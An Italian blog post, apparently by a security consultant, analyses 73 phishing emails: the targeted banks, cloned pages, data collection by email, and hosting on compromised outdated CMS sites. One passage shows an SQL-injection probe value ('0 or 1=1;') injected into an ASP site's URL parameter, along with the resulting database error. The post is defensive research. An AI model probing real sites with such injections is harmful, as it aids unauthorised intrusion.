Di solito tendo ad ignorare lo spam, fra cui i messaggi di phishing abbondano. Sarà che da un tre anni ormai, offrendo la mia competenza a chi ha un sito web violato, ne ho viste talmente tante da aver acquisito una sorta di “occhio clinico”, il fatto è che negli ultimi mesi non riesco più a fare “Seleziona tutti” seguito da “Elimina definitivamente” nella cartella dello spam, senza prima dare una scorsa ai messaggi insoliti.
Immediata, o quasi, è arrivata l’idea di dare più di una semplice occhiata ai messaggi di phishing.
I risultati sono per me in parte attesi, nel senso che in molti dei miei interventi ho indicato come possibile scopo per violare un blog o un sito l’ospitarci un sito di phishing. Intendiamoci, non sono “mie scoperte di sicurezza informatica”: sono in molti ad indicarlo, ben più autorevoli di quanto io possa mai diventare.
Vista la disponibilità di alcuni account di posta elettronica, e di un po’ di tempo durante i viaggi da pendolare, ho raccolto e studiato per tre mesi i messaggi di phishing che mi arrivavano. Qui presento alcuni risultati, se poi l’argomento riscuote un minimo di interesse, posso espandere aggiungendo dettagli.
Non potendo accedere direttamente al contenuto originale dei siti, che permetterebbe una analisi puntuale ed accurata, quanto riportato è frutto di controlli e verifiche fatte dall’esterno, con strumenti assolutamente innocui: un browser, un editor di testo per programmatori, le utility whois, dig, host per ottenere informazioni pubbliche su IP e registro dei nomi DNS. Eppure, anche con così poche informazioni è possibile imparare molto sul phishing.
All’arrivo di ogni messaggio di posta elettronica palesemente di phishing, se ne salva una copia del “sorgente”, con tutte le intestazioni e le parti normalmente non visibili all’utente normale. Segue poi una visita sul sito di phishing, con prelievo di uno screenshot e del codice html della pagina così come emessa dal server. Se il sito è in hosting, il prelievo dei campioni finisce qui, altrimenti si tenta di arrivare al sito originale, catturando anche qui uno screenshot e l’html della pagina così come emesso dal server. In qualche caso è stato possibile visitare le directory intermedie fra il sito principale e il sito di phishing, acquisendo informazioni preziose su come e dove è avvenuto l’insediamento. In qualche caso è stato possibile mettere le mani sul sorgente originale del sito di phishing, lasciato in una directory intermedia da chi lo ha installato, di solito sotto forma di file ZIP o RAR.
Il materiale è poi analizzato e classificato per quanto possibile, ricavandone informazioni che ritengo interessanti. Ma basta con le chiacchiere, andiamo al sodo.
In tre mesi i messaggi ricevuti ed esaminati sono stati 73, non moltissimi, ma certamente sufficienti per costituire un campione con qualche significato statistico. Iniziamo con la distribuzione dei “bersagli”, ossia gli istituti di credito e servizi online presi di mira.
Distribuzione dei tentativi di phishing verso Istituti di credito e servizi online
I più bersagliati sono i clienti di Poste Italiane e di Intesa S. Paolo, seguiti da quelli di Cartasì, ma non mancano i soliti eBay e PayPal. In tutti i casi esaminati i siti di phishing sono praticamente indistinguibili dall’originale, se non per qualche dettaglio, di cui ci si accorge solo possedendo adeguate conoscenze: ad esempio i link sono tutti uguali, ossia conducono tutti alla pagina per inserire i dati, oppure vi sono piccoli difetti nella presentazione della pagina, poco evidenti.
Le cose naturalmente cambiano quando si va ad esaminare il codice html emesso dai siti di phishing. Tipicamente sono copie dei siti originali, prese con note utility, di cui spesso non viene neanche rimosso il marchio dai file, eccone un esempio:
<!-- Mirrored from www.monetaonline.it/layout/03069/pop/dispores_card_01.asp by HTTrack Website Copier/3.x [XR&CO'2008], Mon, 13 Apr 2009 23:59:09 GMT -->In qualche caso il sito usa solo pagine html, le immagini vengono prelevate dal sito originale, diminuendo la dimensione necessaria ad ospitare il codice per mostrare ed eseguire la raccolta di dati.
Il metodo di raccolta dati preferito è l’e-mail, ossia al momento in cui il cliente vittima del phishing inserisce i suoi dati e preme il pulsante di conferma, vengono inviati per e-mail all’autore del phishing, in vari modi: se il sito è in PHP, viene usata la funzione mail(), in altri casi viene sfruttato un form di invio posta di un altro sito, legale, che però permette di inviare messaggi a chiunque semplicemente chiamandolo con i giusti parametri (vedere ad esempio questi due avvisi di sicurezza di Secunia). In qualche caso gli indirizzi di posta di destinazione sono in chiaro e perfettamente leggibili dalle pagine HTML del sito di phishing.
Veniamo ora alla questione di dove vengano ospitati i siti di phishing. Ebbene, come avevo premesso, per me non è una sorpresa, ma il grafico parla chiaro.
Dove vengono ospitati i siti di phishing?
Circa un terzo è ospitato in normali servizi di hosting, spesso gratuito, con dei trucchi per ritardare il rilevamento e la cancellazione del sito, come ad esempio l’uso di directory profonde per ospitare il sito di phishing, invece della home page, lasciata a quella di default, e l’uso di servizi di abbreviazione degli URL (come Tinyurl o Snipurl). Uno dei sistemi utilizzati è quello di registrare il nome del sito da un fornitore e prendere lo spazio di hosting da un altro, in entrambi i casi usando dati di identità falsi e differenti.
Oltre due terzi dei siti di phishing sono inseriti in siti web violati. In quasi un quarto dei casi i siti violati coinvolti sono due, differenti: il primo è quello di cui compare l’URL nella e-mail di phishing: una volta chiamato, il codice nascosto nel sito opera un semplice redirect con vari metodi al secondo sito violato, contenente il sito di phishing vero e proprio.
Per quanto riguarda il tipo di web application colpita nei siti violati, in gran parte dei casi non è stato possibile determinare se l’applicazione è preconfezionata, ad esempio un software open source o commerciale, o se è stato sviluppato ad hoc. Quello che appare da alcuni indizi è che in buona parte dei casi si tratta di applicazioni costruite a partire da una open source, cancellando ogni riferimento alla web application originale. Il problema è che molto probabilmente la base di partenza è una versione che a distanza di uno o due anni è obsoleta e verosimilmente vulnerabile a diversi tipi di attacchi, di conseguenza lo diventa anche l’applicazione da essa derivata, con ovvie conseguenze. Dato che chi cerca siti vulnerabili opera un fingerprinting della web application, l’operazione di nascondere, eliminare o modificare il contenuto dei messaggi di copyright dell’applicazione non sposta di un millimetro il problema. Anzi, proprio perché l’applicazione è modificata pesantemente è impossibile operare un aggiornamento in tempi rapidi, o spesso per motivi contrattuali non è proprio previsto, per cui il sito diventa e rimane vulnerabile a lungo.
Altre volte è proprio l’applicazione sviluppata a mostrare chiaramente problemi. In un caso, un sito che pubblicizzava “enlargement sessuali” (uno dei preferiti da chi fa spam), era costruito con una semplice web application in ASP, che non controllava per nulla i parametri di tipo URL-encoded che usava per mostrare i vari sottomenu. Inserendo una lettera al posto del numero in uno di essi appariva nel codice emesso un errore caratteristico delle applicazioni vulnerabili ad attacchi di tipo SQL-Injection. Eccone un esempio con uno dei parametri modificati appositamente:
<p>Microsoft JET Database Engine</font> <font face="Arial" size=2>error '80040e14'</font>
<p>
<font face="Arial" size=2>Syntax error (missing operator) in query expression 'nMenuNumb = cLNG(''0 or 1=1;'')'.</font>
<p>
<font face="Arial" size=2>/source/view_data.asp</font><font face="Arial" size=2>, line 38</font>
Quando invece è stato possibile determinare con certezza l’applicazione colpita, i nomi che escono sono in un certo senso attesi.
Numero di siti violati e siti di phishing ospitati per tipo di web application
Sei siti con Mambo, uno con WordPress, due con Joomla, tre con phpBB, quattro con applicazioni commerciali, di cui ho trovato i rispettivi avvisi per vulnerabilità piuttosto gravi. Non sembrano molti, ma tenendo conto che chi li ha violati li sta sfruttando a fondo, il danno è rilevante: sia in quello WordPress che in uno di quelli con phpBB vi sono nascosti tre differenti siti di phishing e quelli con Mambo presentano anche i segni di altre intrusioni, volte a diffondere malware.
Dei 49 siti violati, solo 8 appartengono a privati, ossia sono personali o amatoriali. La parte del leone la fanno i siti delle società, seguiti a distanza dai siti istituzionali.
I siti delle società sono i più gettonati.
I siti di cui non è stato possibile determinare la categoria erano o sotto forma di puro indirizzo IP, oppure erano vuoti o quasi, al momento del phishing, forse abbandonati dai proprietari, o forse sorpresi a metà di una ristrutturazione, quindi non c’era indicazione della reale appartenenza del sito. Anche ricerche nella cache di Google hanno dato esito negativo, segno che i siti stessi erano da tempo in quella condizione.
Altro fronte di analisi è quello dei presunti autori dei tentativi di phishing. E’ ovviamente impossibile determinare con sicurezza se l’autore è lo stesso per due siti, ma quello che si può dire è che i siti confezionati per il phishing possiedono in qualche caso delle caratteristiche che li accomunano, ma a parte alcune eccezioni notevoli, i responsabili potrebbero essere differenti.
La sorpresa viene da uno dei siti di phishing impiantato nel sito con Joomla: il “wannabe” Grande Hacker ha lasciato in bella vista il file zip con il kit di phishing in una delle directory. Chissà se il Grande Hacker si è accorto che un Più Grande Hacker lo ha fatto fesso? Il kit di phishing è uno di quelli con la sorpresa, con un secondo indirizzo email offuscato e nascosto nel codice PHP.
Per ora chiudo qui. Dovrebbe essere evidente il pericolo ed il rischio di avere un sito con una applicazione obsoleta, vulnerabile notoriamente a vari tipi di attacchi, come pure dovrebbe essere chiaro che anche un sito web sviluppato appositamente, se non è pensato in origine per resistere a vari tipi di attacchi, tutti arcinoti e ampiamente documentati, diventa una porta di ingresso per tutta la pletora di mentecatti in giro per la Rete. Il fatto che non sia disponibile il sorgente dell’applicazione non rende affatto più difficile il lavoro di chi ha intenzione di violare il sito per farci i suoi comodi.
Ed ancora, chi ha un sito violato non si aspetti di vedere segnali particolari o sentir squillare una sirena: le intrusioni sono estremamente silenziose, poco evidenti e ben tollerate da tutti i siti e applicazioni. Difficilmente sul sito si vedrà un defacement, o almeno non contemporaneamente all’apparire del sito di phishing. Potrebbe invece succedere che prima ci sia il sito di phishing, e solo dopo che abbia fatto i propri comodi l’autore del phishing abbandoni il sito al suo destino, dopo aver lasciato porte scardinate e finestre sfondate. A quel punto il defacement sarebbe il minore dei problemi.
Stai visionando gli archivi della categoria Information security.
Questo sito e tutti i suoi contenuti sono pubblicati sotto una Licenza Creative Commons, quando non diversamente specificato.
Per altri usi, basta contattarmi.
